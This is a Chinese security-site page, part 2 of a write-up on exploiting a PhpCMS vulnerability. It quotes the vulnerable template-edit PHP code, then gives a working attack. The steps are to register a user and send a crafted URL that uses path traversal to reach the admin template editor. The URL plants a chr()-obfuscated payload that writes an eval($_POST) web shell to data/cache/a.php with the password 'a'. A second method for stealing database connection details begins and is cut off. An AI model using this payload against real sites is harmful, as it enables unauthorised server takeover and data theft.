Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

PhpCMS一个漏洞的二次利用(2)

来源: 未知 分享至:
$projectname = $projects[$project] ? $projects[$project] : $project;  
  • $names = cache_read(\'name.inc.php\'$templatedir);  
  • $variable = array(\'0\'=>\'请选择类型\',\'PHPCMS\'=>\'$PHPCMS\'\'CATEGORY\'=>\'$CATEGORY\'\'MODULE\'=>\'$MODULE\',\'MODEL\'=>\'$MODEL\'\'member\'=>\'用户变量\');  
  • $action = $action ? $action : \'manage\';  
  •  
  • switch($action)  
  • {  
  •     case \'add\':  
  •         /*  
  •         省略一段无关代码  
  •         */ 
  •  
  •     case \'edit\':  
  •         if(!isset($template)) showmessage(\'参数错误!\');  
  •  
  •         $filename = $template.\'.html\';  
  •         $filepath = $templatedir.$filename;  
  •         $templatenames = include TPL_ROOT.$project.\'/\'.$module.\'/\'.\'name.inc.php\';  
  •         if(!is_writeable($filepath)) showmessage(\'模板目录 \'.$filepath.\' 不可写!请先通过FTP设置为 777,再进行在线编辑。\');  
  •         if($dosubmit)  
  •         {  
  •             file_put_contents($filepath, new_stripslashes($content));  
  •             template_compile($module$template);  
  •             //template.func.php中定义过template_compile函数  
  •             $names[$filename] = $templatename;  
  •             cache_write(\'name.inc.php\'$names$templatedir);  
  •             //common.inc.php中包含了定义cache_write函数的文件  
  •             showmessage(\'模板修改成功!\'$forward);  
  •         } 

  • 基于以上的代码分析,我们可以利用该文件来直接修改模版,根据phpcms的模版引擎写入一段可以getwebshell的代码到模版文件中,然后通过前台触发执行写入代码的模版。利用方式如下:

    1、注册一个用户
    2、访问如下连接
    /pay/respond.phpay/respond.php?code=../../../admin/template.inc&action=edit&template=rss&save=1&referer=&template=rss&project=default&module=phpcms&templatename=网站首页&addtag=0&tagname=请输入标签名&content={php fputs(fopen(chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));}&selectmodule=phpcms&variable=PHPCMS&dosubmit= 保存
    3、访问/rss.php
    4、后门在data/cache/a.php 密码是a

     

     

    利用方式二:获取数据库连接信息

    这个方法利用了install目录下的文件 step6.tpl.php,代码如下:

    1. <?php include PHPCMS_ROOT.\'install/header.tpl.php\';?>  
    2. <div class="content">  
    3. <form id="install" name=

    最新图文资讯
    1 2 3 4 5 6
    验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
    关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史